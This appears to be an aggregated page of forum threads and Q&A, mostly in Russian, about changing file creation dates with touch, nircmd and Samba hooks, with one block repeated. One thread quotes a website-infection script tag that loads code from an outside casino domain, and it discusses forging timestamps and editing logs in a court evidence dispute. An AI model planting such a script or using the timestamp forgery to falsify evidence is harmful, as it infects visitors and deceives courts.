Как изменить дату создания файла на сервере

Как возможно изменить даты создания файлов на сервере? И Возможно ли это? PHP БД Решение и ответ на вопрос 1612956

0 / 0 / 0

Регистрация: 14.12.2015

Сообщений: 4

1

Как возможно изменить даты создания файлов на сервере? И Возможно ли это?

14.12.2015, 14:19. Показов 3038. Ответов 9


Добрый день!
Нужна помощь.
Волею судьбы я был вовлечен в судебную тяжбу с веб-студией, которая мне создавала сайт.
Камнем преткновения у нас стали два модуля сайта, а именно даты создания этих модулей.
По факту эти модули были разработаны и представлены мне в рабочем состоянии в феврале 2015 года.
Суд назначил экспертизу. Результат экспертизы: «дата подключения используемых модулей не позднее 29 сентября 2014 года, дата последнего изменения — 29 сентября 2014 года»
Но на деле эти модули разрабатывались, изменялись, дорабатывались в январе-феврале 2015 года, так как вносились мои корректировки.
Помогите плиз! Как можно изменять даты создания на сервере, и возможно ли такое?
Прикладываю скриншот из заключения эксперта, где описаны нюансы.
Заранее спасибо

Миниатюры

Как возможно изменить даты создания файлов на сервере? И Возможно ли это?
 

__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



0



471 / 399 / 169

Регистрация: 04.01.2013

Сообщений: 1,675

14.12.2015, 14:26

2

Ну судя по всему, логику и впрям всю в сентябре написали, а до февраля Вам внешний вид меняли?)))



0



12 / 12 / 9

Регистрация: 09.07.2013

Сообщений: 85

14.12.2015, 14:34

3

Скорее всего можно, вопрос в другом является ли авторитетным то, что мы тут напишем.



0



Эксперт PHP

3803 / 3161 / 1326

Регистрация: 01.08.2012

Сообщений: 10,718

15.12.2015, 01:31

4

Цитата
Сообщение от borisow07
Посмотреть сообщение

Как можно изменять даты создания на сервере, и возможно ли такое?

Ну если установить неправильное системное время… почему бы и нет.



0



14 / 14 / 8

Регистрация: 11.12.2015

Сообщений: 37

15.12.2015, 06:23

5

На unix-серверах дата создания/модификации/последнего доступа к любому файлу легко меняется встроенной утилитой touch. Этим пользуются хакеры чтобы скрыть свои действия на сервере.

Добавлено через 6 минут
И на сервер файлы обычно загружаются по FTP — даты их загрузки будут в логах ftp, если они ещё остались (кто, когда, под каким именем залогинивался и с какого IP).



0



0 / 0 / 0

Регистрация: 14.12.2015

Сообщений: 4

15.12.2015, 10:11

 [ТС]

6

Satorius,
Да, все загружается по FTP. Получается, если логи ftp удалить, то настоящих дат создания не узнать?



0



14 / 14 / 8

Регистрация: 11.12.2015

Сообщений: 37

15.12.2015, 18:02

7

Настоящие даты создания легко подменить, логи FTP тоже, если вы сисадмин. Хостинг, поди, этой же веб-студии и принадлежит? Тогда они могут любые даты файлов сделать.
Некоторые хостеры периодически делают бэкапы, там может быть правильная информация о датах создания файлов.

То что модуль статистики был вставлен в 2014 году не значит что он работал. Куда выгружались/отправлялись результаты этой статистки, она должна быть с датами.

Как справедливо заметили выше, экспертное заключение уже есть и суд поверит ему. В принципе, можно опровергать и заключение эксперта, особенно если он как-то аффилирован с этой веб-студией.



0



0 / 0 / 0

Регистрация: 14.12.2015

Сообщений: 4

15.12.2015, 18:19

 [ТС]

8

Да, хостинг принадлежит им.



0



0 / 0 / 0

Регистрация: 14.12.2015

Сообщений: 4

15.12.2015, 18:44

 [ТС]

9

Satorius, Тут еще кое что всплыло. 29 сентября, в ту дату что указана в экспертизе, мой сайт и наверное весь хостинг подвергся вирусной атаке.
Этот скриншот я отправил в веб-студию в тот день.
Сайт А — мой сайт
Сайт Б — сайт веб-студии
Как видно Гугл ругается на сайт веб-студии.
Вот какой ответ мне пришел в тот день из веб-студии:
«Здравствуйте,
на Вашем сайте был обнаружен вредоносный код во всех html-файлах:
<!—63e258—><script type=»text/javascript»
src=»http://www.free-casino-money.com/nl/khc78m9v.php?id=9711330″></script><!—/63e258—>
Все заражённые файлы перемещены в архив virus.zip и удалены с хостинга.
Скорее всего Вас взломали, рекомендуем проверить компьютер с которого
подключаетесь к хостингу по фтп на вирусы.»

Вирусов с моей стороны не было и быть не могло.Проблема была у разработчиков.

Может такая ситуация с вирусом как-то повлиять на изменение дат файлов?

Миниатюры

Как возможно изменить даты создания файлов на сервере? И Возможно ли это?
 



0



14 / 14 / 8

Регистрация: 11.12.2015

Сообщений: 37

15.12.2015, 19:05

10

Да, часто вирусы меняют дату заражённых файлов на старую, чтобы их трудно было обнаружить. Но поскольку хостинг принадлежит веб-студии, их админы могут менять даты файлов как им заблагорассудится, и исправлять любые логи — это простые текстовые файлы.



0



In php I can change the file last modification and access time arbitrarily with touch()

<?php
touch($filename,mktime(0,0,0,2010,1,10));

…but how to change the creation time?

Why do I need this? Well, If I retrodate a file or a directory mtime to before their creation date, explorer.exe keeps showing me the more recent creation date instead.

asked Jun 21, 2012 at 23:28

ZJR's user avatar

ZJRZJR

9,1254 gold badges30 silver badges37 bronze badges

2

Mh, an unsatisfactory, but working, approach I found out about, is: using nircmd.
Nircmd is a 37kb utility. (redistributable, closed-source, freeware)

How to proceed:

<?php

$time=strftime('%d-%m-%Y %H:%M:%S',$time);
$cmd=".\nircmdc.exe setfilefoldertime "$filename" "$time"";
system($cmd);

Notes:

  • nircmdc.exe is the command line version of nircmd (note the additional c before .exe)
  • setfilefoldertime is a nircmd sub-command, it is documented here.

Still, I hope there is a COM or WMIC solution I couldn’t find this time around.

answered Jun 22, 2012 at 1:56

ZJR's user avatar

ZJRZJR

9,1254 gold badges30 silver badges37 bronze badges

2

Try this one you can change file creation time and modify time

Win32 Console ToolBox 1.1

exec('touch.exe /c /t "file.html" '. date('H:i:s'));

nircmdc -> is to powerful

answered Dec 30, 2016 at 22:46

user956584's user avatar

user956584user956584

5,1902 gold badges39 silver badges50 bronze badges

In php I can change the file last modification and access time arbitrarily with touch()

<?php
touch($filename,mktime(0,0,0,2010,1,10));

…but how to change the creation time?

Why do I need this? Well, If I retrodate a file or a directory mtime to before their creation date, explorer.exe keeps showing me the more recent creation date instead.

asked Jun 21, 2012 at 23:28

ZJR's user avatar

ZJRZJR

9,1254 gold badges30 silver badges37 bronze badges

2

Mh, an unsatisfactory, but working, approach I found out about, is: using nircmd.
Nircmd is a 37kb utility. (redistributable, closed-source, freeware)

How to proceed:

<?php

$time=strftime('%d-%m-%Y %H:%M:%S',$time);
$cmd=".\nircmdc.exe setfilefoldertime "$filename" "$time"";
system($cmd);

Notes:

  • nircmdc.exe is the command line version of nircmd (note the additional c before .exe)
  • setfilefoldertime is a nircmd sub-command, it is documented here.

Still, I hope there is a COM or WMIC solution I couldn’t find this time around.

answered Jun 22, 2012 at 1:56

ZJR's user avatar

ZJRZJR

9,1254 gold badges30 silver badges37 bronze badges

2

Try this one you can change file creation time and modify time

Win32 Console ToolBox 1.1

exec('touch.exe /c /t "file.html" '. date('H:i:s'));

nircmdc -> is to powerful

answered Dec 30, 2016 at 22:46

user956584's user avatar

user956584user956584

5,1902 gold badges39 silver badges50 bronze badges

  • Главная
  • Блог
  • Поиск
  • Контакты

Подробный поиск

Android

Apache

Bitrix CMS

Centos

Class

CSS

Debian

Delphi

Docker

Drupal

git

HTML

JavaScript

Joomla

JQuery

JQuery UI

Laravel

Linux

MODx

MTG

openCart

PHP

Python

raspberry pi 3 / arduino

regexp

Script / Tool

Smarty

Soft

SQL

WebAsyst (shop-script)

WordPress

Алгоритмы

Безопасность

Игры

Книги

Настройка / Конфиги

Сторонние сервисы

Управление проектами

Фильмы

20.09.2012

Конвертируем дату для использования в touch

1
2
3
  $date1 = '2010-09-09 18:06:22';

  touch ('my.file', strtotime($date1));

Категории: PHP

Яндекс.Метрика

  • Печать

Страницы: [1]   Вниз

Тема: Samba. Как изменить дату создания файла при копировании на сервер.  (Прочитано 1690 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн
zhenyok

Есть файловая шара, нужно что-бы при копировании или перемещении туда файла, изменялась его дата на текущую. Пробовал опцию magic script но не вышло. Подскажите как сделать.


Оффлайн
AzraelKDE

zhenyok, не копируйте, а записывайте файл в шару. Можно с помощью cat.
например:

cat file.txt > /share/file.txt
Дата создания результирующего файла будет текущей.

Java + HTML5 = Brain explosion.


Оффлайн
zhenyok

да не, мне для пользователей надо. что-бы любой помещённый туда документ (методом простого копирования в файл менеджере) становился с текущей датой.


Оффлайн
AzraelKDE

zhenyok, тогда вам каким-то образом нужно привязать к событию завершения копирования файла в шаоу следующий скрипт:

#! /bin/sh
C_DATE=`date +%C%y%m%d%H%M`
touch -t$C_DATE $1
#исполняем скрипт
./script.sh copied_file.txt

Java + HTML5 = Brain explosion.


Оффлайн
AnrDaemon

да не, мне для пользователей надо. что-бы любой помещённый туда документ (методом простого копирования в файл менеджере) становился с текущей датой.

Объясните, зачем это нужно? Умные люди бьются над сохранением метаданных при копировании файлов, а вы херить изволите.

Хотите получить помощь? Потрудитесь представить запрошенную информацию в полном объёме.

Прежде чем [Отправить], нажми [Просмотр] и прочти собственное сообщение. Сам-то понял, что написал?…


Оффлайн
zhenyok

На файловом сервере создана директория «ДЛЯ ОБМЕНА». файлы в ней должны храниться не более 7 дней. Есть скрипт который по крону удаляет всё что старше 7 дней. для этого мне и нужно реализовать сброс реальной даты создания файла.


Оффлайн
AzraelKDE

zhenyok, какя файловая система в директории обмена? А что, если убрать флаги сохранения метаданных? Алсо, по какому критерию скрипт выбирает файлы для удаления? У меня есть похожая задача, файлы так-же качаются из другого места (правда по FTP) и проблемы с временем создания нет.

Java + HTML5 = Brain explosion.


Оффлайн
AnrDaemon

На файловом сервере создана директория «ДЛЯ ОБМЕНА». файлы в ней должны храниться не более 7 дней. Есть скрипт который по крону удаляет всё что старше 7 дней. для этого мне и нужно реализовать сброс реальной даты создания файла.

Так напиши нормально скрипт.
Создавай список файлов в каталоге, и по списку через 7 дней убивай.
Изобретают сами себе проблемы…

Хотите получить помощь? Потрудитесь представить запрошенную информацию в полном объёме.

Прежде чем [Отправить], нажми [Просмотр] и прочти собственное сообщение. Сам-то понял, что написал?…


Оффлайн
zhenyok

zhenyok, какя файловая система в директории обмена? А что, если убрать флаги сохранения метаданных? Алсо, по какому критерию скрипт выбирает файлы для удаления? У меня есть похожая задача, файлы так-же качаются из другого места (правда по FTP) и проблемы с временем создания нет.

Ext4, скрипт самый стандартный find /share2/obmen/ -mtime +7 -type f -exec rm -rfv {}
Насчёт флагов интересно. как это сделать?

« Последнее редактирование: 26 Декабря 2012, 13:46:28 от zhenyok »


Оффлайн
AzraelKDE

zhenyok,
взгляните на мой, может сработает получще:

#!/bin/ksh
# This script compare file timestamp and current time
# if different out of timeout files deleted

# Set timeout for days and/or hours and/or minutes
#
[ ! $1 ] && echo "Please specify folder!" && exit 0 || DEST_PATH=$1
[ ! $2 ] && echo "Please specify log file!" && exit 0 || LOGFILE=$2
[ ! $3 ] && tdays=180  || tdays=$3

echo ---------------------------------------------  >> $LOGFILE 2>&1
echo "Deleting filest from ${DEST_PATH} (with timeout ${tdays} day[s])..." >> $LOGFILE 2>&1
echo "List deleted files from $DEST_PATH" >> $LOGFILE  2>&1

is_deleted=`find ${DEST_PATH} -ctime +${tdays} -exec ls '{}' ; | wc -l`
find ${DEST_PATH} -ctime +${tdays} -exec rm -f '{}' ;

if [ $is_deleted -eq 0 ]; then
  echo "No files must be deleted from ${DEST_PATH}" >> $LOGFILE 2>&1
else
  echo "${is_deleted} file[s] older ${tdays} days deleted from ${DEST_PATH}" >> $LOGFILE 2>&1
fi
echo >> $LOGFILE 2>&1

Я использую ctime, а не mtime, т.к. mtime немного не то.

Java + HTML5 = Brain explosion.


Оффлайн
Дмитрий Бо

AnrDaemon,
тут не соглашусь. Ну не надо человеку хранить старые метаданные, пусть хранит новые. Лишняя сущность в виде отдельного списка действительно лишняя. Принцип «а ВДРУГ пригодятся старые» на файлопомойке вряд ли будет актуален.

По сабжу, насчёт самбы не знаю, но если она не умеет, то можно воспользоваться тулзами inotify.


Оффлайн
AzraelKDE

Java + HTML5 = Brain explosion.


Оффлайн
ArcFi

можно воспользоваться тулзами inotify

+1

man 5 incrontab


  • Печать

Страницы: [1]   Вверх

Понравилась статья? Поделить с друзьями:

Читайте также:

  • Как изменить дату создания файла на компьютере windows 10
  • Как изменить дату создания файла на дату съемки
  • Как изменить дату создания файла линукс
  • Как изменить дату создания файла ворд
  • Как изменить дату создания файла видеозаписи

  • 0 0 голоса
    Рейтинг статьи
    Подписаться
    Уведомить о
    guest

    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии